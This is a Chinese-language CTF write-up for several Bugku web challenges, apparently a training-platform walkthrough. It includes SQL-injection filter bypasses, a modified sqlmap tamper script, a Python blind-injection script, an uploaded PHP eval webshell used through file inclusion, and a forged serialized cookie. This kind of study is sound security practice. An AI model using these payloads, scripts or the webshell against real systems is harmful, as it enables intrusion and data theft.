多次
题目:
本题有2个flag
flag均为小写
flag格式 flag{}
解题:
打开题目后跳转到http://123.206.87.240:9004/1ndex.php?id=1,修改id值等于5的时候,页面提示 You can do some SQL injection in here. 确定是sql注入,那我们就测试一下。
加一个单引号
http://123.206.87.240:9004/1ndex.php?id=5%27
发现页面返回error,应该是sql语句报错了。
尝试后面加上#注释
http://123.206.87.240:9004/1ndex.php?id=5%27%23
页面正常
然后尝试
http://123.206.87.240:9004/1ndex.php?id=5%27%20or%201=1%23
发现报错,猜测是关键字被过滤
接下来我们用脚本跑一下,看看都被过滤了哪些关键字
# -*- coding:utf-8 -*- import requests sql = "http://123.206.87.240:9004/1ndex.php?id=1'^(length('%s')!=0)^'" txt = "from|into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep" arr = txt.split('|') for i in arr: response = requests.get(sql%i) if len(response.text)!=430: print i
脚本中的关键字可以自己设置,我这个不全,跑完得到结果过滤了
or
union
select
and
然后我们尝试绕过,测试发现双写or为oorr可以绕过
http://123.206.87.240:9004/1ndex.php?id=5%27%20oorr%201=1%23
使用sqlmap跑一下,不过sqlmap提供的双写绕过tamper有点问题,我们修改一下,代码如下:
#!/usr/bin/env python """ Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import random import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): """ Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters Notes: * Useful to bypass very weak custom filters >>> random.seed(0) >>> tamper('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' """ keywords = ("UNION", "SELECT", "OR","AND") retVal = payload warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords) warnMsg += "You can set it manually according to your needs" singleTimeWarnMessage(warnMsg) if payload: for keyword in keywords: _ = random.randint(1, len(keyword) - 1) #retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal) retVal = re.sub(r"%s" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal) print retVal return retVal
其中的
keywords = ("UNION", "SELECT", "OR","AND")
可以自己增加关键字,然后使用命令
python ./sqlmap.py -r 1.txt --tamper c-shuangxie.py --current-db
1.txt是抓到的请求包,c-shuangxie.py是我们修改后的双写绕过脚本,执行之后得到库名web1002-1
继续执行
python ./sqlmap.py -r 1.txt --tamper c-shuangxie.py -D web1002-1 --tables
得到表flag1,hint
python ./sqlmap.py -r 1.txt --tamper c-shuangxie.py -D web1002-1 -T flag1 --dump
得到
+----------------------+-----------------+
| flag1 | address |
+----------------------+-----------------+
| usOwycTju+FTUUzXosjr | ./Once_More.php |
+----------------------+-----------------+
访问Once_More.php,发现又是一个sql注入页面
这个直接用sqlmap就能跑出结果
python sqlmap.py -r 1.txt --tables
python sqlmap.py -r 1.txt -T flag2 --dump
最后得到flag{Bugku-sql_6s-2i-4t-bug}
注意题目说flag全部小写,改为小写后
flag{bugku-sql_6s-2i-4t-bug}
第二种解法,手工注入:
http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,2%23 结果2,说明有两个字段
?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,database()%23 web1002-1
注意information里面有or,要双写过滤?id=-1' ununionion seselectlect 1, group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() # 页面结果 flag1,hint
?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23页面结果 flag1,address
?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1 %23 usOwycTju+FTUUzXosjr ?id=-1' ununionion seselectlect 1, group_concat(address) from flag1 %23 ./Once_More.php
# 查表 http://123.206.87.240:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23 # 结果Nobody!XPATH syntax error: '~class,flag2~' # 查字段 ?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23 # 结果Nobody!XPATH syntax error: '~flag2,address~' # 查数据 ?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23 # 结果Nobody!XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'
或者使用盲注
import requests def length_schema(): for x in range(1, 20): url = 'http://123.206.87.240:9004/Once_More.php?id=1%27and%20length(database())=' + str(x) + '%23' s = requests.get(url) if "Hello" in s.text: print 'schema_length is :' + str(x) global a a = int(x) break def schema_name(): x = 0 name = '' while x < a: x = x + 1 temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~' for i in temp: url = 'http://123.206.87.240:9004/Once_More.php?id=1%27and%20mid(database(),' + str(x) + ',1)=%27' + str( i) + '%27%23' s = requests.get(url) if "Hello" in s.text: name = name + str(i) print 'sechma_name is :' + name global schema_name schema_name = name def all(): temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~' temp_data = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~ABCDEFGHIJKLMNOPQRSTUVWXYZ' for x in xrange(0, 20): table_name = '' for y in xrange(1, 20): key = 0 for i in temp: url = 'http://123.206.87.240:9004/Once_More.php?id=1%27and%20ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27' + schema_name + '%27%20limit%20' + str( x) + ',1),' + str(y) + ',1))=ascii(\'' + str(i) + '\')%23' s = requests.get(url) if "Hello" in s.text: key = 1 table_name = table_name + str(i) if key == 0: break if table_name == '': break print 'one of tables is:' + table_name for p in xrange(0, 20): column_name = '' for q in xrange(1, 20): key = 0 for i in temp: url_columns = 'http://123.206.87.240:9004/Once_More.php?id=1%27and%20ascii(mid((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27' + schema_name + '%27%20and%20table_name=%27' + table_name + '%27limit%20' + str( p) + ',1),' + str(q) + ',1))=ascii(\'' + str(i) + '\')%23' s = requests.get(url_columns) if "Hello" in s.text: key = 1 column_name = column_name + str(i) if key == 0: break if column_name == '': break print 'a column name of ' + table_name + ' is ' + column_name for y in xrange(0, 10): data = '' for z in xrange(1, 20): key = 0 for i in temp_data: url_data = 'http://123.206.87.240:9004/Once_More.php?id=1%27and%20ascii(mid((select%20' + column_name + '%20from%20`' + schema_name + '`.' + table_name + '%20limit%20' + str( y) + ',1),' + str(z) + ',1))=ascii(\'' + str(i) + '\')%23' s = requests.get(url_data) if "Hello" in s.text: data = data + str(i) key = 1 if key == 0: break if data == '': break print 'one data of ' + schema_name + '.' + table_name + '\'s ' + column_name + ' is ' + data def main(): length_schema() schema_name() all() if __name__ == '__main__': main()
PHP_encrypt_1(ISCCCTF)
题目:
fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
有个附件,附件内源码:
<?php function encrypt($data,$key) { $key = md5('ISCC'); $x = 0; $len = strlen($data); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; } $char .= $key[$x]; $x+=1; } for ($i=0; $i < $len; $i++) { $str .= chr((ord($data[$i]) + ord($char[$i])) % 128); } return base64_encode($str); } ?>
解题:
一道crypto题型,不应该出现在web中,解题代码:
<?php function encrypt($data,$key) { $key = md5('ISCC'); $x = 0; $len = strlen($data); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; } $char .= $key[$x]; $x+=1; } for ($i=0; $i < $len; $i++) { $str .= chr((ord($data[$i]) + ord($char[$i])) % 128); } return base64_encode($str); } $s = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='; $s = base64_decode($s); $len = strlen($s); $key = md5('ISCC'); $x = 0; $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; } $char .= $key[$x]; $x+=1; } for ($i=0; $i < $len; $i++) { $r = 0; if(ord($s[$i])-ord($char[$i])<0){ $r = ord($s[$i]) + 128 - ord($char[$i]); }else{ $r = ord($s[$i])-ord($char[$i]); } echo chr($r); } ?>
Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}
文件包含2
题目:
http://123.206.31.85:49166/
flag格式:SKCTF{xxxxxxxxxxxxxxxx}
hint:文件包含
解题:
打开后地址为http://123.206.31.85:49166/index.php?file=hello.php,看到file=hello.php,估计是文件包含漏洞,右键查看源代码,发现提示了upload.php,访问upload.php可以上传图片,结合文件包含,我们可以以图片的后缀名,传一个一句话木马上去
上传一个shell.jpg
<?php echo 1111111111; ?>
访问返回的文件路径,发现<?php ?>被替换成了 _ echo 1111111111; _
那我们就尝试另一种php标签的写法
<script language="php"> @eval($_POST[0]); </script>
上传上去后,得到图片地址,使用文件包含这个图片
http://123.206.31.85:49166/index.php?file=upload/201910110603238853.jpg
使用hackbar发送post请求,0=system('ls'); 可以看到有this_is_th3_F14g_154f65sd4g35f4d6f43.txt文件,访问得到flag。
SKCTF{uP104D_1nclud3_426fh8_is_Fun}
flag.php
题目:
地址:http://123.206.87.240:8002/flagphp/
点了login咋没反应
提示:hint
解题:
根据题目提示hint,加上参数http://123.206.87.240:8002/flagphp/?hint=1,得到源码:
<?php error_reporting(0); include_once("flag.php"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html> <?php } $KEY='ISecer:www.isecer.com'; ?>
elseif (unserialize($cookie) === "$KEY")
这个判断的时候$KEY还未复制,也就是说unserialize($cookie)应该等于空字符串"",计算一下
<?php echo serialize(""); ?>
得到结果
s:0:"";
设置document.cookie='ISecer=s:0:"";'
重新访问http://123.206.87.240:8002/flagphp/得到flag。
flag{unserialize_by_virink}